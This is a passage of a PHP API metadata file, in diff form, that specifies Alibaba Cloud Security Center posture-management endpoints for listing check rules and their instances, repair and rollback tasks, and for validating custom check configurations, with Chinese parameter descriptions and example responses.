'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + ."\n" + .'> 具体含义参考接口[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetSubType。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VendorName' => [ + 'description' => '服务器的服务商名称。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'InstanceType' => [ + 'description' => '云产品的资产类型。', + 'type' => 'string', + 'example' => 'ecs', + ], + 'InstanceSubType' => [ + 'description' => '云产品的资产子类型。', + 'type' => 'string', + 'example' => 'INSTANCE', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'remark', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\",\\n \\"CheckRules\\": [\\n {\\n \\"AliUid\\": 0,\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 1,\\n \\"CheckId\\": 77,\\n \\"ScopeType\\": \\"INSTANCE\\",\\n \\"RuleType\\": \\"WHITE\\",\\n \\"RuleId\\": 0,\\n \\"CheckShowName\\": \\"Check for IPS Whitelist on CEN (Enterprise Edition) Tab\\",\\n \\"CheckPolicies\\": [\\n {\\n \\"sectionShowName\\": \\"Access Control\\"\\n }\\n ],\\n \\"AssetSubType\\": 0,\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceType\\": \\"ecs\\",\\n \\"InstanceSubType\\": \\"INSTANCE\\",\\n \\"Remark\\": \\"remark\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"Count\\": 10,\\n \\"TotalCount\\": 10\\n }\\n}","type":"json"}]', + 'title' => '查询云安全态势管理的检查规则', + ], + 'ListCheckRuleInstance' => [ + 'summary' => '查询云安全态势管理规则下面所有的实例。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '230328', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'InstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '实例列表。', + 'type' => 'array', + 'items' => [ + 'description' => '实例列表。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '资产所在地域。'."\n" + .'> 调用[ListCheckInstanceResult](~~ListCheckInstanceResult~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hongkong', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。'."\n" + .'> 调用[ListCheckInstanceResult](~~ListCheckInstanceResult~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-wz9fdluqx20mp2x7****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[LisCheckRule](~~2590599~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的消息数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'CheckRuleInstances' => [ + 'description' => '实例规则信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'example' => 'i-j6c76lh1kvrcvwl*****', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'testEcs', + ], + ], + ], + ], + 'AliUid' => [ + 'description' => '阿里云账号ID。', + 'type' => 'string', + 'example' => '103784262032****', + ], + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'string', + 'example' => '23', + ], + 'Vendor' => [ + 'description' => '所属云厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **MICROSOFT**：微软'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'string', + 'example' => 'Aliyun', + ], + 'AssetType' => [ + 'description' => '云资产的类型。', + 'type' => 'string', + 'example' => 'ECS', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。', + 'type' => 'string', + 'example' => 'Disk', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"CheckRuleInstances\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"InstanceId\\": \\"i-j6c76lh1kvrcvwl*****\\",\\n \\"InstanceName\\": \\"testEcs\\"\\n }\\n ],\\n \\"AliUid\\": \\"103784262032****\\",\\n \\"CheckId\\": \\"23\\",\\n \\"Vendor\\": \\"Aliyun\\",\\n \\"AssetType\\": \\"ECS\\",\\n \\"AssetSubType\\": \\"Disk\\"\\n}","type":"json"}]', + 'title' => '查询云安全态势管理规则的实例', + ], + 'ListOperationCheck' => [ + 'summary' => '查看云平台配置检查一键修复或回滚任务的详细信息。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213426', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项ID。'."\n" + .'> 调用[ListCheckResult](~~ListCheckResult~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '23', + ], + ], + [ + 'name' => 'OperationTaskInstances', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '操作的实例信息。', + 'type' => 'array', + 'items' => [ + 'description' => '实例信息。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '资产厂商。取值：'."\n" + ."\n" + .'- **ALIYUN**：阿里云', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '云资产实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'r-bp1642ib4bg2bm****', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '任务对应的任务类型：'."\n" + .'- **REPAIR**：修复任务'."\n" + .'- **ROLLBACK**：回滚任务', + 'type' => 'string', + 'required' => true, + 'example' => 'REPAIR', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的任务开始时间的时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1719923175000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的任务截止时间的时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1719923175001', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为zh。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + 'OperationTaskInstanceDetails' => [ + 'description' => '操作实例的详细信息。', + 'type' => 'array', + 'items' => [ + 'description' => '操作实例的详细信息。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '58', + ], + 'InstanceId' => [ + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 'lb-2zefdwrre8ey8ewr0****', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'Repair' => [ + 'description' => '修复任务的信息。', + 'type' => 'array', + 'items' => [ + 'description' => '修复任务的信息。', + 'type' => 'object', + 'properties' => [ + 'OperateTime' => [ + 'description' => '处理风险的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1719923175000', + ], + 'RepairConfigs' => [ + 'description' => '修复对应的配置信息。', + 'type' => 'array', + 'items' => [ + 'description' => '配置结构。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '修复参数的名称。', + 'type' => 'string', + 'example' => 'IpList', + ], + 'TypeDefine' => [ + 'description' => '检查项自定义配置项类型JSON字符串。', + 'type' => 'string', + 'example' => '{\\"type\\":\\"STRING\\",\\"range\\":[0,64]}', + ], + 'ShowName' => [ + 'description' => '显示名称。', + 'type' => 'string', + 'example' => 'IP List', + ], + 'FlowId' => [ + 'description' => '修复时对应修复流程的ID。', + 'type' => 'string', + 'example' => 'cd7c4d34c1034de08308535d6cee***', + ], + 'Value' => [ + 'description' => '实例对应参数的实时值。', + 'type' => 'string', + 'example' => '192.168.1XX.1XX', + ], + ], + ], + ], + 'StatusShowName' => [ + 'description' => '修复任务状态的展示名称。', + 'type' => 'string', + 'example' => 'repair success verified', + ], + 'Status' => [ + 'description' => '对应任务的状态。', + 'type' => 'string', + 'example' => 'REPAIR_SUCCESS_VERIFIED', + ], + 'TaskId' => [ + 'description' => '操作任务的TaskId。', + 'type' => 'string', + 'example' => '6a829841e335b0fb6e0014463284****', + ], + ], + ], + ], + 'Type' => [ + 'description' => '对应操作任务的操作类型：'."\n" + .'- **REPAIR**：修复任务'."\n" + .'- **ROLLBACK**：回滚任务', + 'type' => 'string', + 'example' => 'REPAIR', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"OperationTaskInstanceDetails\\": [\\n {\\n \\"CheckId\\": 58,\\n \\"InstanceId\\": \\"lb-2zefdwrre8ey8ewr0****\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Repair\\": [\\n {\\n \\"OperateTime\\": 1719923175000,\\n \\"RepairConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[0,64]}\\",\\n \\"ShowName\\": \\"IP List\\",\\n \\"FlowId\\": \\"cd7c4d34c1034de08308535d6cee***\\",\\n \\"Value\\": \\"192.168.1XX.1XX\\"\\n }\\n ],\\n \\"StatusShowName\\": \\"repair success verified\\",\\n \\"Status\\": \\"REPAIR_SUCCESS_VERIFIED\\",\\n \\"TaskId\\": \\"6a829841e335b0fb6e0014463284****\\"\\n }\\n ],\\n \\"Type\\": \\"REPAIR\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看修复或回滚任务的详细信息', + 'description' => '仅支持购买云平台配置检查授权数或开通云平台配置检查按量付费的用户调用该接口。', + ], + 'ListOperationTask' => [ + 'summary' => '展示云安全态势管理修复和回滚任务列表。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '213395', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '需要查询对应的任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'd7b2acf8d362742123e4a84e1bf8****', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '查询的操作任务的类型：'."\n" + .'- REPAIR：修复'."\n" + .'- ROLLBACK：回滚', + 'type' => 'string', + 'required' => false, + 'example' => 'REPAIR', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '76', + ], + ], + [ + 'name' => 'OperationTaskInstances', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的操作任务的实例信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'am-bp1vy2yaj1nvx****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Statuses', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '任务的状态列表。多个状态之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **INIT**：初始化'."\n" + .'- **FAIL**：处理失败'."\n" + .'- **THROTTLING**：修复并发中'."\n" + .'- **IN_BACKUP**：备份中'."\n" + .'- **BACKED_UP**：已备份'."\n" + .'- **BACKUP_FAIL**：备份失败'."\n" + .'- **REPAIRING**：修复中'."\n" + .'- **REPAIR_SUCCESS**：修复成功'."\n" + .'- **REPAIR_FAIL**：修复失败'."\n" + .'- **REPAIR_SUCCESS_VERIFYING**：修复成功验证中'."\n" + .'- **REPAIR_SUCCESS_UNVERIFIED**：修复成功验证失败'."\n" + .'- **REPAIR_SUCCESS_VERIFIED**：修复成功验证成功'."\n" + .'- **REPAIR_RE_EXECUTE**：修复再执行'."\n" + .'- **ROLL_BACKING**：回滚中'."\n" + .'- **ROLL_BACKED**：已回滚'."\n" + .'- **ROLL_BACK_FAIL**：回滚失败'."\n" + .'- **ROLL_BACK_INIT**：回滚发起'."\n" + .'- **ROLL_BACK_VERIFYING**：回滚成功验证中'."\n" + .'- **ROLL_BACK_UNVERIFIED**：回滚成功验证失败'."\n" + .'- **ROLL_BACK_VERIFIED**：回滚成功已验证', + 'type' => 'array', + 'items' => [ + 'description' => '任务的状态。', + 'type' => 'string', + 'required' => false, + 'example' => 'REPAIRING', + ], + 'required' => false, + 'enumValueTitles' => [], + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '消息的格式。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'OperationTasks' => [ + 'description' => '操作任务的详细实例信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '扫描出的告警的风险等级。取值：'."\n" + ."\n" + .'- **high**：高危。'."\n" + .'- **medium**：中危。'."\n" + .'- **low**：低危。', + 'type' => 'string', + 'example' => 'high', + ], + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shenzhen', + ], + 'LastCheckTime' => [ + 'description' => '最新检测时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723173101000', + ], + 'Status' => [ + 'description' => '任务的状态。取值：'."\n" + ."\n" + .'- **INIT**：初始化'."\n" + .'- **FAIL**：处理失败'."\n" + .'- **THROTTLING**：修复并发中'."\n" + .'- **IN_BACKUP**：备份中'."\n" + .'- **BACKED_UP**：已备份'."\n" + .'- **BACKUP_FAIL**：备份失败'."\n" + .'- **REPAIRING**：修复中'."\n" + .'- **REPAIR_SUCCESS**：修复成功'."\n" + .'- **REPAIR_FAIL**：修复失败'."\n" + .'- **REPAIR_SUCCESS_VERIFYING**：修复成功验证中'."\n" + .'- **REPAIR_SUCCESS_UNVERIFIED**：修复成功验证失败'."\n" + .'- **REPAIR_SUCCESS_VERIFIED**：修复成功验证成功'."\n" + .'- **REPAIR_RE_EXECUTE**：修复再执行'."\n" + .'- **ROLL_BACKING**：回滚中'."\n" + .'- **ROLL_BACKED**：已回滚'."\n" + .'- **ROLL_BACK_FAIL**：回滚失败'."\n" + .'- **ROLL_BACK_INIT**：回滚发起'."\n" + .'- **ROLL_BACK_VERIFYING**：回滚成功验证中'."\n" + .'- **ROLL_BACK_UNVERIFIED**：回滚成功验证失败'."\n" + .'- **ROLL_BACK_VERIFIED**：回滚成功已验证', + 'type' => 'string', + 'example' => 'REPAIRING', + ], + 'DealTime' => [ + 'description' => '任务的处理时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1723173101010', + ], + 'TaskId' => [ + 'description' => '操作任务的ID。', + 'type' => 'string', + 'example' => '5bb1a313f9924b728b3c12e007c1****', + ], + 'RootTaskId' => [ + 'description' => '主任务ID。', + 'type' => 'string', + 'example' => '01db51b0e5307bb703a22611c86f****', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-wz9abo6wgjmh4yep****', + ], + 'Type' => [ + 'description' => '查询的操作任务的类型：'."\n" + .'- REPAIR：修复'."\n" + .'- ROLLBACK：回滚', + 'type' => 'string', + 'example' => 'REPAIR', + ], + 'CheckShowName' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => '开启恶意主机行为防御功能', + ], + 'StatusShowName' => [ + 'description' => '修复任务的展示状态。', + 'type' => 'string', + 'example' => '回滚已验证', + ], + 'RepairSupportType' => [ + 'description' => '该检查项支持修复的类型：'."\n" + ."\n" + .'- **1**： 支持修复并支持回滚操作'."\n" + .'- **2**： 修复不支持回滚'."\n" + .'- **3**： 跳转到第三方平台操作', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SupportRollBack' => [ + 'description' => '是否支持回滚操作：'."\n" + .'- true：支持'."\n" + .'- false：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'InstanceFreed' => [ + 'description' => '实例是否释放：'."\n" + .'- true：释放'."\n" + .'- false：未释放', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ErrorCode' => [ + 'description' => '操作任务失败返回错误码。', + 'type' => 'string', + 'example' => 'BackUpScriptError', + ], + 'ErrorMsg' => [ + 'description' => '错误消息。', + 'type' => 'string', + 'example' => 'backUp script error', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总记录数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"OperationTasks\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"CheckId\\": 3,\\n \\"RegionId\\": \\"cn-shenzhen\\",\\n \\"LastCheckTime\\": 1723173101000,\\n \\"Status\\": \\"REPAIRING\\",\\n \\"DealTime\\": 1723173101010,\\n \\"TaskId\\": \\"5bb1a313f9924b728b3c12e007c1****\\",\\n \\"RootTaskId\\": \\"01db51b0e5307bb703a22611c86f****\\",\\n \\"InstanceId\\": \\"i-wz9abo6wgjmh4yep****\\",\\n \\"Type\\": \\"REPAIR\\",\\n \\"CheckShowName\\": \\"开启恶意主机行为防御功能\\",\\n \\"StatusShowName\\": \\"回滚已验证\\",\\n \\"RepairSupportType\\": 1,\\n \\"SupportRollBack\\": true,\\n \\"InstanceFreed\\": true,\\n \\"ErrorCode\\": \\"BackUpScriptError\\",\\n \\"ErrorMsg\\": \\"backUp script error\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', + 'title' => '查询云安全态势管理操作任务', + ], + 'VerifyCheckCustomConfig' => [ + 'summary' => '用来验证用户输入的配置信息是否符合对应参数配置的要求。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226868', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '76', + ], + ], + [ + 'name' => 'CustomConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项自定义参数配置项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项自定义配置项列表。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义配置项名称，同检查项唯一。', + 'type' => 'string', + 'required' => false, + 'example' => 'IPList', + ], + 'Value' => [ + 'description' => '检查项自定义配置项用户配置值字符串。', + 'type' => 'string', + 'required' => false, + 'example' => '10.12.4.XX'."\n", + ], + 'Operation' => [ + 'description' => '检查项自定义配置项操作类型，只有删除时传DELETE，创建和更新不用传。', + 'type' => 'string', + 'required' => false, + 'example' => 'DELETE', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RepairConfigs', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '检查项修复功能支持的修复参数。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项修复功能支持的修复参数。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项修复参数名称，同检查项唯一。', + 'type' => 'string', + 'required' => false, + 'example' => 'IPLists', + ], + 'Value' => [ + 'description' => '检查项修复配置项用户配置值字符串。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.49.XX', + ], + 'FlowId' => [ + 'description' => '修复时对应修复流程的ID。', + 'type' => 'string', + 'required' => false, + 'example' => '7fec0a3395b345c18f108ffc9fc0****', + ], + 'Operation' => [ + 'description' => '检查项自定义配置项操作类型，只有删除时传DELETE，创建和更新不用传。', + 'type' => 'string', + 'required' => false, + 'example' => 'DELETE', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '态势感知参数验证类型：'."\n" + .'- **REPAIR_CONFIG**：修复与自定义参数验证（默认）'."\n" + .'- **CHECK_ITEM_CONFIG**：自定义检查项验证', + 'type' => 'string', + 'required' => false, + 'example' => 'REPAIR_CONFIG', + ], + ], + [ + 'name' => 'CustomCheckConfig', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '自定义检查项验证输入参数。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：微软'."\n" + .'- **AWS**：亚马逊云（AWS）', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'InstanceType' => [ + 'description' => '云产品的资产类型。取值：'."\n" + ."\n" + .'- **ECS**：云服务器'."\n" + .'- **SLB**：负载均衡'."\n" + .'- **RDS**：RDS数据库'."\n" + .'- **MONGODB**：MongoDb数据库'."\n" + .'- **KVSTORE**：Redis数据库'."\n" + .'- **ACR**：ACR'."\n" + .'- **CSK**：CSK'."\n" + .'- **VPC**：VPC'."\n" + .'- **ACTIONTRAIL**：操作审计'."\n" + .'- **CDN**：CDN'."\n" + .'- **CAS**：数字证书管理服务[原SSL证书]'."\n" + .'- **RDC**：云效'."\n" + .'- **RAM**：RAM'."\n" + .'- **DDOS**：分布式拒绝服务'."\n" + .'- **WAF**：WAF'."\n" + .'- **OSS**：访问控制'."\n" + .'- **POLARDB**：POLARDB'."\n" + .'- **POSTGRESQL**：PostgreSQL'."\n" + .'- **MSE**：MSE'."\n" + .'- **NAS**：NAS'."\n" + .'- **SDDP**：SDDP'."\n" + .'- **EIP**：EIP', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS', + ], + 'InstanceSubType' => [ + 'description' => '云产品的资产子类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'DISK', + ], + 'CheckRule' => [ + 'description' => '自定义检查项定义规则。', + 'type' => 'string', + 'required' => false, + 'example' => 